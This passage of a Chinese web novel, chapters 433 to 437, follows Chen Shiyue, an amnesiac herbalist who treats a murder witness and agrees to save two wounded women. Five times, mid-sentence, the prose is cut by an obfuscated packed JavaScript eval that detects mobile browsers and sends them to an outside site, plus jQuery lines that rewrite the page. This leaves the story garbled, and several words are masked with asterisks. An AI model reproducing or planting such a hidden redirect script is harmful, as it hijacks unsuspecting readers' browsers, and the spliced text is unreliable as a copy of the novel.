挨千刀的糟瘟货,怎么就把好好的一姑娘,折磨成了这样?看看,看看,瞧着都瘦了,而且好像……好像真的不认识他了? “金伯?”陈识月一时间没反应过来,但是听到对方说“将军府”三个字,当下便明白了大概,可有些事情不是明白就足够的。 之前在回春堂的时候,她已经听白重说了大概,自然知道自己与将军府的瓜葛,但现在她什么都不记得,一时半会不想露馅。 目光快速越过了老管家,落在了门外,陈识月的神情略显警觉。 老管家是谁? 将军府这些都是靠着他撑着,一边悄无声息留意金都的消息,一边还得不声不响的往外传递消息,以免自家老主子和小主子遭人祸害,当然是警觉非常。 陈识月这一神情,他旋即心领神会,“我不太懂这些,只是家里需要煲汤,想着过来看看。” “原来如此。”陈识月当即接下话茬。 有什么话,留待以后再说。 但是她这么一表现,老管家便明白了大概,不会再纠结于此,买了点茯苓便转身离开,好似什么都没发生过,什么都不知道。 若无其事,坦坦荡荡。 陈识月紧了紧袖中手,面上却佯装若无其事,没想到将军府这么快就有消息了?看样子,他们在金都也是布满了眼线。 如此,倒也是极好。 白叔公说了,霍老将军一直戍守边关,只留下空荡荡的将军府在金都,什么都没有,连个女主子都没有,分外凋敝。 如今瞧着,倒也不是全然凋敝…… 回过神来,便瞧见门外有人张望。 嗯,探头探脑,不是好人。 不过没关系,陈识月又不会做什么,只是在药铺里抓抓药而已,盯着就盯着吧,反正他们想做的事情,又不是她一人能拦得住的。 当然,她也不是全然没准备的,之前从长雾身上获取的东西,如今都被她贴身收着,若是有人敢动她,势必要先给对方尝尝鲜。 外头的人没瞧出端倪,看了看便也就散了。 但是管家的心却久久不能平静,走了一圈又回来,果然发现了药铺外头那些人,可见陈识月也不自由,不过她知道有人盯着,那应该也算另一种安全。 回到将军府,管家第一时间去汇报情况。 “你是说,她忘了?”霍青行身形微颤,伏在床边直勾勾的盯着管家,面色惨白得厉害,“她什么都忘了?” 管家点点头,“是,可能是中了别人的道,但月姑娘仍是那般谨慎小心,应该无甚大碍。外面有人盯着她,她不敢同咱说太多。” “有人盯着她……”霍青行撑起身子。 老管家赶紧摁住了他,“哎呦,少将军,您莫要着急嘛!人都找到了,您还急什么?关键是自个的身子,您得先养好自己的伤,如此才能去帮她,去救她。金都城内多少双眼睛都盯着将军府,您若不小心,怕是连带着月姑娘都得遭遇危险。” 霍青行沉默了。 管家面色凝重,“我仔细瞧过了,姑娘身康体健的,精神状况也极好,应该没吃亏,如今隐忍,必定是有自己的谋划。少将军与姑娘经历了那么多,理该相信彼此。” 既然都能为对方付出一切,牺牲一切,为何要纠结在眼前呢? 人既然回来了,那就好办了…… 总比落在山上强吧? 霍青行垂下眼帘,话是这么说的,可心里抽着疼,嗓子眼里不断有血腥味往外冒,却又被他生生压下去。 如管家所言,现在最要紧的是养好自身,否则什么都做不了。 “人就在平安堂药铺里,跑不了!”管家低声劝慰,“我已经让人去盯着了,一定会妥善保护好月姑娘的。” 霍青行垂下眼帘,“林序如何?” “还没醒。”管家摇摇头。 林序的情况很严重,能活下来都是幸事,所以不能太计较他醒来的时间,横竖身边一直都有人守着,不会有大碍。 “一定要照顾好他,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393576|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有剩下的弟兄。山脚下的人不能撤,务必要等到迎春和冬梅她们出来,还有便是……”霍青行忽然就没了声。 管家心头咯噔一下,“少将军?少将军!快,快去叫大夫。” 一时间,将军府内又是好一阵的人仰马翻。 下工之后,陈识月便离开了平安堂。 不多时,长雾在街头等着。 “这里!”长雾挥挥手。 陈识月快速上前,“如何?” “已经拾掇得差不多了。”长雾笑盈盈的拎着一摞物什,带着她回去,“小院虽然小,但好在银钱合适,两间屋舍刚好咱两分。” 小院在街尾,一个不起眼的角落。 后门朝着小巷子里开,平日里也没什么人会经过此处,倒是十分僻静,远离闹市区,甚是安逸。 院子里的杂草都被铲除,之前那些废弃的竹篱笆也被拆除。 青石板路被清理干净,露出了原本的面目。 屋内。 桌椅板凳和床榻,也都被拾掇干净。 “被褥都是新的,小厨房那边我也收拾了一下,这儿看起来……终于像个家了。”长雾洋洋得意,“小姨,这跟我们以前的家……可是相似?” 陈识月插着腰环顾四周,从前院走到了后院,地方不算宽敞,但是晒点东西还是足够了,“前边那些空地,咱可以用来种菜,种草药。” “女子不都喜欢种花吗?”长雾不解。 陈识月看向他,“既然是喜欢花花草草,那种了草药不就是一举数得?既有草也开花,还成药,多好的事儿?” 长雾:“……” 有道理。 “今晚终于可以睡个好觉了。”陈识月伸个懒腰,“对了,你今日上街的时候,可有发现异常?” 长雾将破旧的竹篱笆绑起,靠在了墙根底下,“有什么异常?” “没有人跟着你吗?”陈识月问。 长雾顿了顿,“有人跟着你?” “有。”陈识月点点头,“不知道是什么人,探头探脑的,我担心你有事。接下来,你我当小心谨慎,莫要着了他人的道。” 长雾颔首,“我会小心,你也是,谁敢鬼鬼祟祟的不当人,那就去当个死鬼!” 第四百三十三章 你左腿有旧疾 长雾不只是这么说的,也是这么做的,这院子的围墙上,他都做了点手脚,院子里也是如此,暗箭则藏匿在角落里,一触即发。 他做这些的时候,陈识月就在边上站着,毕竟也得熟悉一下,免得误伤自个,都知道在哪个位置了,就无所谓误伤。 至于外人,只要正儿八经的敲门,那就不存在误伤,但若是悄无声息的翻墙……那便各凭本事活着吧,谁知道会触动哪个机关呢? “你别下手太黑,到底是天子脚下,万一被人扭送衙门,我可没银子去赎你。”陈识月双手抱臂,无奈的摇摇头。 长雾看向她,“小姨放心,我可不是那么心狠手辣之人,咱在这地方人生地不熟的,要是闹出事儿来可没人收拾。我有分寸!” “你最好是有分寸,别牵连我。”陈识月瞧着他开始检查周遭机关,默默的转身朝着后院小厨房走去。 长雾早前买了点菜,陈识月做了点小菜。 这是二人正儿八经的好好吃上一顿饭,桌案是旧的,但人是新的。 “味道不错。”长雾嘿嘿笑着,“小姨手艺不错。” 陈识月轻嗤,“少油嘴滑舌的,吃你的饭!” “这是我今日的工钱,虽然不多,但是够吃两天了。”长雾将工钱放在桌案上。 陈识月笑着收下,“好好吃饭,以后会越来越好的。” “嗯!”长雾连连点头。 忽然,好似想起了什么。 长雾迟疑了片刻,“对了,那**案……” “嘘!”陈识月皱了皱眉,“不要命了,与咱无关的事情少掺合,万一被牵扯进去……” “我知道,你没钱赎我。”还不等她把话说完,长雾已经打断了她的话。 陈识月白了他一眼,“知道就好,赶紧吃饭,吃完把碗洗了。” 待吃过饭,便是各回各屋。 陈识月的房间里,摆放着几本她从药铺带回来的医书,不得不说,这天子脚下就是好,繁华胜过寻常,所以这孤本也多,瞧着让人眼红心热。 烛火摇曳。 长雾推门而入,给她送了热水,“你又不考状元,还是仔细眼睛的好。” “说不定我就给你考个状元回来了。”陈识月没有理他,兀自翻看着手中的孤本,神情认真。 长雾没有打扰她,轻叹一声便退出了房间。 每个人都有自己的兴趣爱好,有一技傍身总归是好的。 到了半夜的时候,陈识月打了个哈欠,烛油也烧了大半,该休息休息了,只是……她下意识的看向窗外,莫名觉得心里空落落的。 是因为……他吗? 白叔公说过的话,在脑海里徘徊。 收回思绪,陈识月已不自觉的站在了窗口,恍惚间,好似觉得总有一道身影,从窗外进来,然后与她相见。 那个人…… 是他吧? 摸了摸窗户,摸了摸心口,这心里头空落落的,可真是难受啊! 夜里,外头窸窣了一下,但没有更大的动静。 长雾房间的门好似开了,不多时又合上了。 陈识月没吱声,权当什么都不知道。 翌日晨起,陈识月瞧着站在院子里的长雾,不由的皱起眉头,“你一大早杵在院子里干什么?” 墙角,缺了一块。 陈识月了悟。 “检查一下,若是有什么缺损,及时补上。”长雾没有多说,走到墙根底下,捡起了地上的板砖,仿佛是在自言自语,又好似在说给某些人听,“等今晚下了工回来,可得好好修葺墙头,免得什么阿猫阿狗都敢往咱这院子里蹿。” 陈识月伸个懒腰,“赶紧去上工吧。” “嗯!”长雾将板砖放在边上,又看了一眼缺损的墙头,默默的走了出去。 平安堂。 陈识月照常上工,今日会有不少的药材进来,掌柜忙得脚不着地,陈识月这边也得快速清点,大家都得相互配合,才能尽快的收入库房。 好在,今日的天气不错。 阳光明媚,风和日丽。 马车从门前经过的时候,陈识月正站在平安堂门口,翻看着送来的一麻袋一麻袋药材,手中的笔杆子快速摇晃着,记载录入。 车窗帘子被风吹开,车里的人靠在车壁上,虚弱无力的看过来。 亲眼所见,心中安然。 “少将军,如今亲眼瞧见了,可要好好的养伤啊!”管家提心吊胆的。 回春堂的大夫可都说了,一定要好好的静养,不能挪动,如今这都是……唉! “她……没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395104|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。”霍青行只觉得卡在嗓子眼里的心,终于落回了肚子里。 活着就好,别的……不求。 人活在这世间的,面临的最可怕的事情,便是生死。 若是连生死不惧,还有什么可惧的呢? 不过…… 冬梅和迎春始终没有消息,也不知道现在是否脱险? 那样的状况之下,怕是凶多吉少。 但,只要没找到尸体,那就当她们还活着,将军府的人一定会继续找的,继续等待,绝对不会放弃一丝可能。 脚步声呼啦啦的响起,陈识月探头往街头看了一眼,只瞧着一队衙役风风火火的跑过去。 “这是怎么了?”伙计皱眉。 陈识月站直了身子,忽然瞧见了前面疯狂跑路的人,“这是找到了凶手?还是在抓嫌疑人?” “那是谁?”伙计皱眉,“功夫不错呀!” 可不是嘛,一下子蹿上屋顶,一下子蹿到了箱子里,各种蹦跶,然后便是后面的衙役,拼了命的追赶,奈何始终差一段路,始终没能追上。 速度很快,但就跟逗狗玩似的…… “应该不是凶手。”陈识月小声嘀咕。 伙计不解,“何以见得?” “谁家凶手杀了人,大半天的满城里蹦跶?”陈识月问,“藏都来不及。” 伙计点点头,扛起了麻袋往内走,“有道理。” 不过,这阵仗闹得很大。 陈识月眯了眯眼,眼见着那身影再度窜上屋顶,又快速消失,略显无奈的叹口气,转身回了后院,还得将这些药材分门别类的储存入库呢! 等着收拾完了这些,已经是晌午时分,肚子饿得咕咕叫,也该好好休息一会了。 伙计们早就下工去吃饭了,这会后院只有陈识月一人,她刚拿起馒头啃了一口,冷不丁一道身影从屋顶落下,惊得她差点噎住。 什么人? “别紧张,我不伤人。”来人慌忙开口。 陈识月深吸一口气,打量着眼前人,“衙役都在找你,你跑这儿来作甚?” 来人显然惊住了,摸了摸自己的幕帘,确定幕帘没有被掀开,诧异的问,“你是怎么看出来的?我没露馅吧?” “身形。”陈识月开口,“你左腿有旧伤!” 第四百三十四章 我叫林梵 陈识月一句话,让对方傻眼了,愣在原地好半晌都没能回过神来,最后竟是低头讪讪的笑着,隔着幕帘都察觉到她的笑意。 “你这人很有趣,这不是药铺吗?怎么瞧着你如此行径,倒像是个大夫?” 听得这话,陈识月又笑了,“谁规定药铺里的人不能当大夫?那你接下来是不是想说,女子怎么能当大夫?合该关在宅院里,做个贤妻良母?如此抛头露面,委实于理不合?” “我可没这么说。” 闻言,陈识月叹口气,“你自己都是个女子,为何要自轻自贱,瞧不上女子呢?” “我自己都是女子,怎么会瞧不上女子呢?左不过是这世间对女子诸多束缚,能挣脱的少之又少,所以难得遇见一个挣脱出来的,实在是有些反应不过来。”她没有掀开幕帘。 陈识月回过神来,“你来药铺抓药的?为什么不走正门,为什么要躲避衙役?” 这才是问题的关键。 “有朋友受伤,但人在城外,距离有些远,不可能请到大夫,只能我自己来抓药。”女子回答,“给我来点药吧!” 她把药方递过去,但隔着幕帘,陈识月能察觉到她的目光,一直死死盯着自己。 为什么? 怕她出卖? 还是怕她喊救命? “利器所伤?”陈识月愣了愣,“伤得很重。” 对方没吱声。 “如你所言,伤得这么重,你这些药怕是治根不治本,确定不去找大夫吗?”陈识月脸色凝重,涉及人命,可不敢大意,“这药方与金疮药无疑,可外敷可内服,但若是重伤,只能听天由命。” 见着她一直不说话,陈识月无奈的叹口气。 “你会看病?”女子问。 陈识月没有直接回答,只是盯着她问了个问题,“你的朋友,**越货?” “怎么可能?”对方轻嗤,“两个弱女子,即便会手脚功夫,也没到**越货的地步,但的确伤得很重,如你所言……内伤外伤一大堆,如今只能听天由命。” 两个女子? 陈识月狐疑的望着她,难怪不愿意去医馆。 两个重伤的女子,换谁不得起疑? 且女子名节何其要紧,若是这两个女子是附近的,来日怕是没脸做人,所以她才避开了医馆,而是来了药铺,想着抓点药就算了。 人活在这世上本来就艰难,各凭本事的活着便罢! “两个弱女子?”陈识月不解,“怎么受的伤?” 女子摆摆手,“我哪儿知道?人是从山上救下来的,当时我恰好路过,一群人围追堵截两个弱女子,换谁都看不过去吧?于是我正好出手相救,便把人带回来了。还好我力气大,一拖二都没问题。” 一听山上,陈识月心头忽然咯噔一声,“哪座山?还有山匪不成?” 女子想了想,“就是外面的山,之前不是有人说,山上有熊吗?可没想到,山上也有山匪,竟是藏在深山老林里,连两个姑娘都不放过,实在是丧心病狂。” 山上? 外面的山上? 难道也是那座山? 莫不是洞窟里的那些人? 也就是说,曾经与长雾同流合污的同伙? 白叔公说了,那都是长乐门的人,无恶不作,所以被长乐门追杀的人,应该都不是什么坏人吧?说不定是掌握了什么证据? “你发什么愣?”女子叹口气,“即便这药效用不大,你也给我抓几服,总归是要试一试的,不能看着她们死。” 陈识月转身要去抓药,忽然又回头,“那衙役为何抓你?” “他们看到我身上有血,就要把我带回衙门,我哪儿能任他们抓?我若是被抓,没个三五日出不来,那她们不就死定了?”女子轻嗤,“不过,这帮废物是抓不住我的,若是就这么被抓住,那我还要不要脸了?” 岂非也成了废物? 陈识月按照药方给抓了药,想了想,又给她递了两包药。 女子不解。 “你的药方只能算是平常可见,吃了未必有效果,但我这药不一样,虎狼之药……药效极为迅猛。”陈识月意味深长的开口,“若是真的到了那时候,可以死马当成活马医。” 反正都是个死,那不如试试呢? 万一死不了呢? 万一撞活了呢? 女子接过,一时间有些沉默。 “人在何处?”陈识月问。 女子深吸一口气,“在城外十里,那边有个废弃的土地庙,我把人放那里了,央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400294|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了丐帮的人守着,暂时不会有什么危险。你是……真的大夫吗?” “天黑之前,我会出城一趟。”陈识月道,“到时候能不能活,就看她们的运气了。” 女子当即拱手,“姑娘大义。” “不必谢我,我也没底。” 陈识月没见着伤者,自然不敢说大话,生死之事,谁敢说得绝对呢? “就冲你这句话,合该受我一拜!”女子深吸一口气,“天黑之后,我在城门外恭候大驾。” 说着,她拱手转身。 “哎!”陈识月叫住她,“从后门走,不要翻墙了。” 动静那么大,必定会招来衙门的人,还是走后门的好。 “好!”女子快速离开。 眼见着到了后门,又回头补充了一句,“对了,我叫林梵,梵音的梵。” 语罢,她快速离开。 陈识月站在原地,愣怔了好半晌。 前面传来了动静,她赶紧回到了大堂,伙计们吃了饭,都陆陆续续的回来了,外头又有一群衙役跑过去,大概是发现了林梵的踪迹? 不过这些都跟陈识月没关系,林梵功夫好,她早就看出来了,这些衙役是不可能抓住她的,再者也没有证据证明,她就是凶手,所以衙役抓她作甚? 最多是嫌疑人,也怕节外生枝,所以严格审问罢了! 陈识月收回视线,好似什么都没发生过,照样清点她的药材,收拾一下库房,将分内之事打点得妥妥当当,直到东家满意为止。 不过,门外探头探脑的腌臜东西还在,所幸他们没有进来,自然不知道后院发生的事情,否则怕是会给林梵带来灾祸。 所以接下来她就得想想,怎么能悄无声息的出城呢? 得避开这些人。 好在离天黑还早,不急于一时。 陈识月默不作声的做好准备,该用的药都先装上,到时候所需不少,不能马虎。 这些药的费用,都得陈识月自己垫付。 脑子里有人跟她说,救人一命胜造七级浮屠,这是大夫的本职。 刚拾掇了一番,却见着掌柜急急忙忙走进来,似是出了什么大事? “掌柜的,你这是怎么了?”陈识月诧异,“哎哎哎,掌柜的?” 第四百三十五章 死的是他的师爷 掌柜忽然就倒在地上,惊得陈识月连喊两声,后院的伙计也跟着冲出来,赶紧手忙脚乱的把人抬到了后院。 “掌柜的?” “掌柜的?” 待把人放在了床榻上,陈识月赶紧上前把脉。 “我去找大夫!”伙计转身就走。 陈识月喊住了他,“别着急,我先看看。” 屋内三四人都是面面相觑,就站在原地盯着陈识月。 “没事,是太着急了,气急攻心的。”陈识月从袖中取出了针包。 有人低声问,“姑娘,你会扎针?” “嗯。”陈识月点点头。 两针下去,掌柜“嗷”一声就弹坐起身,大口大口的喘着气。 伙计赶紧端来一杯茶,“掌柜的,喝点水,顺顺气。” 喝了口水,掌柜也算是缓过劲来了,瞧着眼前众人,略带不好意思的揉着眉心,“吓着你们了吧?怪不好意思的。” “什么事这么着急?”陈识月收好了银针。 掌柜盯着她的针包看了两眼,“你会……” “嗯!”陈识月点头,“家里教过。” 掌柜好似明白了什么,若有所思的“哦”了一声。 “掌柜的,到底发生何事?”伙计追问,“您这一声不吭,嘎巴一下就倒地上,可把人吓**,要不是姑娘胆子大,也得跟着吓死。” 掌柜长长吐出一口气,“差点被人弄死,能不吓得气血上涌吗?” “被人弄死?”陈识月不明白,“您得罪谁了?什么仇什么恨,要杀了您?” 掌柜旋即“呸呸呸”几声,“哪有?是我瞧见了不该瞧的,恰好方才一不留神的过那条巷子,看到两个人交头接耳的说话,然后其中一人忽然就拔刀……咔嚓一声,就把对面那个给解决了。” 陈识月:“……” 伙计:“……” 瞧着众人呆若木鸡的样子,掌柜一拍大腿,“我认真的,我说的是实话,我真的瞧见了。就这么噗嗤一下子,把人捅了个对穿,吓得我差点没腿软瘫在地上,提腿就跑。” “那……”伙计犹豫了,“掌柜的,人家看清楚你没有?” 掌柜一怔。 “看见你的脸了?”陈识月追问。 掌柜皱了皱眉,似乎是在回想,“大概没有吧?” “什么叫大概没有?”伙计有些着急,“掌柜的,你得想清楚,这凶手如此狠辣,若是看见了你的脸,你怕是会被人灭口啊!” 掌柜一听就急了,“呸呸呸,就不能说点好听的,这说得多吓人?什么灭口不灭口的,我、我当时光顾着转身就跑,哪儿知道人家看……看没看见我?” 这就坏了。 要是真的被人看见了,那不就死定了? 见着众人都把目光昂在他身上,不由得喉间滚动,心下也生出了畏惧,“不会真的被、被灭口吧?” “先别吱声。”陈识月开口,“万一没什么事,你就主动暴露了,先等等看,若是真的**人,衙门那边肯定会第一时间查到。” 掌柜点点头,“这两日,我得躲一躲,躲一躲!” 对,躲起来。 “躲怕是没什么用,若是真的看见了,找你的就不是衙役,而是凶手。”陈识月低声开口,“您这两日就当什么都没发生过,照样过日子。” 掌柜没说话。 “你这躲躲藏藏的,反倒会引起他人的注意。”陈识月继续道,“以不变应万变,是最好不过的,平日里不要落单。” 掌柜点点头,“有道理。” “这个你先拿着。”陈识月将一小包东西塞给他。 掌柜不解,“此乃何物?” “好东西,关键时候比刀剑有用。”陈识月伏在他耳畔低语两句。 掌柜赶紧收起来,“还有吗?要不然再给我来点?” “你当饭吃呢?”陈识月摇摇头,“就这么点,都给你了。” 掌柜嘿嘿笑着,“多谢姑娘,那……那这段时间我先住在药铺里,暂时不能回家,免得真出什么事,还得连累家人。” “那您好好休息,我们先去忙了。”陈识月转身离开。 掌柜叹口气。 但愿没人看见他,要不然就真的要倒大霉了。 陈识月回到了前院,兀自收拾着桌案,目光很自然的看了一眼外头,倒是没发现了什么异常,不过这不代表安全。 既然能**,就说明自信可以逃脱,如今满城都是衙门的人在抓凶手,此前还**一个尚书,如此状况之下还有这般自信,可见功夫不弱。 这样的武功高手,盯梢的时候必不会被人轻易察觉,所以光用眼睛看没用, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409605|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还得小心谨慎的处置,以免人都站在你身后了,你还一无所知。 当然,陈识月也清楚,那应该不是林梵做的。 林梵是来抓药的,要不然在被陈识月认出来的时候,就已经拔剑相向了,所以……那会是杀死尚书大人的真凶吗? 陈识月拿起了捣药杵,默默的戳着石臼里的药材,眉眼间带着几分凝重。 外头,骤然响起了脚步声。 陈识月赶紧放下捣药杵走出了大门,外头已经有百姓站在边上议论。 “哎呦,说是又**了。” “谁**?” “不清楚,在那边巷子里。” “死的是男的还是女的?” “我当时就路过,看见衙役冲进了巷子里,随后便将巷子封锁了,咱就什么都瞧不见了。” 陈识月竖起耳朵听着,寻思着是不是掌柜看见的那一幕? “什么死的?” “不知道,就看到一滩血。” 有血? 陈识月的心陡然下沉。 那就是有伤口,皮破出血。 一滩血,说明出血量不少。 贯穿伤的话…… 极有可能! 不多时,一支守城军也跟着往前冲,看得所有人都有些心慌慌的,一时间都相顾无言。 “这是要出大乱子了。”陈识月退回了铺子里。 伙计探头探脑的,“姑娘,我去看看。” “小心点。”陈识月低语,“千万不要乱说话。” 伙计心领神会,当即跑开。 巷子那边有不少衙役看着,自然是混不进去的,百姓也不敢往前凑,这要是被拽进了衙门,万一被冤死在里面,那该如何是好? 凑热闹归凑热闹,可不敢凑人头。 半晌过后,伙计火急火燎的跑回来,“姑娘,你知道死的是谁吗?” “我又不是算命的,我哪儿知道?”陈识月摇摇头,“你别卖关子,直接说。” 伙计压低了声音,“我听那些官爷议论,说这一次死的,是经常跟在尚书大人身边的师爷,说是死得很惨。” “尚书大人?哪位尚书大人?”陈识月心里咯噔一下。 伙计指了指外头,“昨儿刚死的那位。” 陈识月哑然,掉头就往后院跑。 第四百三十六章 乌鸦嘴,好的不灵坏的灵 陈识月冲进屋子的时候,空气里弥漫着淡淡的异味,她几乎没有任何的迟疑,反手就拽住了想往里面冲的伙计,“去叫人!” 说话间,已经拂袖洒出了一把粉末。 她的速度很快,伙计也是个听劝的,转头就去叫人。 “来人,快来人!” 喊声伴随着脚步声,一道黑影快速从窗口蹿了出去,不敢作任何的逗留。 当然,也没敢逗留。 如何能逗留? 再不走,就要被毒**! 陈识月冲到了窗口,外头已经没了那人的身影,一颗心悬在了嗓子眼,她旋即转身去看掌柜。 此时此刻,掌柜已经倒在了角落了,指缝间还有粉末的残存,若不是他自己反应快,只怕这一次也得尝尝一剑穿心的滋味。 胳膊上有伤,应该是当时抵抗所致。 “没事了没事了。”陈识月检查了伤口,还好剑上无毒,伤口虽然不浅,但不至于伤筋动骨,“这胳膊能保住。” 外头的伙计都冲了进来,瞧着眼前血淋淋的一幕,都是心惊胆战的。 许是吓得不轻,掌柜扫一眼众人,然后直勾勾的盯着陈识月,“我会死吗?” “死不了,皮外伤。”陈识月忙道。 话音刚落,掌柜眼一翻,旋即晕死过去。 “掌柜的?掌柜的?” 众人惊呼。 陈识月忙指挥着众人,把掌柜抬到了床上,然后派人去报官,自己则快速给掌柜包扎伤口。 之前不报官,是怕惹祸上身,万一对方没看见掌柜的脸,自己这一报官就等于自投罗网,容易被凶手盯上。 但是现在不同了,人都杀上门来了,若还不报官寻求庇护,到时候死都不知道**的? 这一次,有陈识月给的药粉在,对方没有防备,所以才让掌柜逃了一劫,来日对方有所防备,肯定不会再中招。 撒毒的伎俩用一次就成了,第二次必定不管用。 衙门的人很快就来了,瞧着此情此景,都有些愣怔。 陈识月当即上前解释了一番,以便于他们能尽快了解情况。 “所以你家掌柜见到了凶手?”为首的衙役冷着脸。 陈识月点点头,“应该说是见到了**现场,当时很慌乱,掌柜未必还记得那人的容脸,方才这人一身黑衣,脸上戴着遮脸布,我也没看清楚是什么模样?但身高应该和你差不多,有点偏瘦,动作很快,直接从窗口窜出去了,想必功夫不弱。” 她这一番话,也算是把事情说清楚了。 衙役已经追出去了,不管能不能追到人,若是能发现一些目击者,又或者是找到一些凶手落下的痕迹,也是极好的。 可惜,什么都没有。 出去便是巷子,出了巷子便是街,四通八达的……人来人往的…… 上哪儿找? 但无论如何,还是要出去找一找的。 这都死第二个了。 虽然官职不高,但可能跟孙尚书的死有关,所以这件事不能善了,可能要跟孙尚书一案……并案处理,事情好像变得很棘手。 可惜,掌柜还昏迷着,这就意味着一时半会的,没有可用的信息。 陈识月说的这些,便算是全部了。 “你们两个看好此处,若是掌柜的醒来,立刻让人来衙门汇报。”为首的衙役留下了两个人,顺带着冲药铺里的所有人知会一声,“与此案无关人员,不得踏入这个屋子半步。” 陈识月想起答应林梵的事情,忙不迭开口,“我可以回家吧?” “你一个女流之辈……” “家里人可以保护我。”陈识月又道。 听了这话,衙役们面面相觑,但也没拦着,毕竟陈识月是女子,跟他们这帮大老爷们凑一块也不像话,万一传出去坏了姑娘家的名节…… “那你自己小心。”衙役道,“若是有什么不对劲的,立刻去衙门报官,若是觉察到危险……” 陈识月行礼,“诸位官爷放心,我懂得如何自保。” 如此,衙役们便也没有追究。 但为了确保无恙,衙役还是去了一趟回春堂,去请了大夫过来,可不能让掌柜的出事。 听闻要来平安堂,白重与李严对视一眼,默默的拎起了药箱,“我去一趟。” 去了平安堂,见着陈识月安然无恙,白重悬着的心才算稍稍放下。 没事就好。 陈识月给了他一个“安心”的眼神,“这边请!” 白重检查了一番,确定掌柜的没事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409606|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便提着药箱离开。 行至僻静处,白重环顾四周,这才拽着陈识月问及缘由。 “你是说,他看见了**凶手?”白重愕然,“那你……” 陈识月忙摇头,“我没事,凶手是来灭他的口,但是这两日估计不会再来。我给掌柜一包药,能让那凶手头晕目眩数日,即便习武之人体质好,也得耗上两日。” 所以这两天足够掌柜的养伤,平复心绪。 “怕就不怕,不是一人所为。”白重担忧的看向她,“你若是有事,立刻回白家,或者是去回春堂,切莫独自一人扛着。” 陈识月颔首,“叔公放心,我心里有数。” “切记。”白重叮嘱了两句,这才转身离开。 平安堂不平安,还是得去将军府说两声,让人来平安堂盯着,发现凶手也就罢了,说不定还能发现点别的用处? 比如说,杀死孙乾的凶手背后,可能牵扯到了金都的某位大人,要不然刚查到孙乾,为什么孙乾就**了呢? 线索不会无缘无故的断了,这里面肯定有疏漏,被他们察觉到了…… 也许是因为山中缘故? 又或者是因为安信他们? 总之,各种可能都有。 待到下工的时候,掌柜才苏醒过来,与陈识月交代了两句,便让她赶紧回家去,今夜有衙役在这里看着,想必对方也没那么大胆。 陈识月又悄悄给他塞了一包药,“招数第二次未必好用,但总胜过什么都不做,万一还有效果呢?” “多谢!”掌柜由衷的感谢。 陈识月出了平安堂,并未当即出城,而是与长雾碰了一面,叮嘱了她两句,这才急急忙忙的朝着城外而去。 长雾心里不安,想跟她出城却又犹豫着停下,默默的站在原地,看着陈识月离去的背影…… 出城? 安全吗? 瞧着手中的米粮菜,长雾皱眉环顾四周,当即往家走,城外安不安全,他不清楚,但是有这帮尾巴在,她肯定安全不了。 想清楚了这一点,长雾便寻思着,先把这些人引开再说,不能让他们跟上陈识月。 为了摆脱身后人的跟踪,陈识月故意在街上转了两圈,确定没人跟着自己,当即直奔城门外而去…… 第四百三十七章 这两人,我好像认识的? 陈识月的脸色不太好,显然是觉得棘手,大夫就是大夫,大夫不是大罗神仙,很多事情也是心有余而力不足。 两个姑娘的状况都不太好,一个还吊着一口气,一个已经呈现了休克状态。 “无论如何,都要试一试啊!”林梵带着几分恳求,“这可是我好不容易从山上带回来的,你都不知道,当时长乐门的人对她们做了什么,那么多瘪犊子围拢绞杀两个姑娘,简直是气煞人也。” 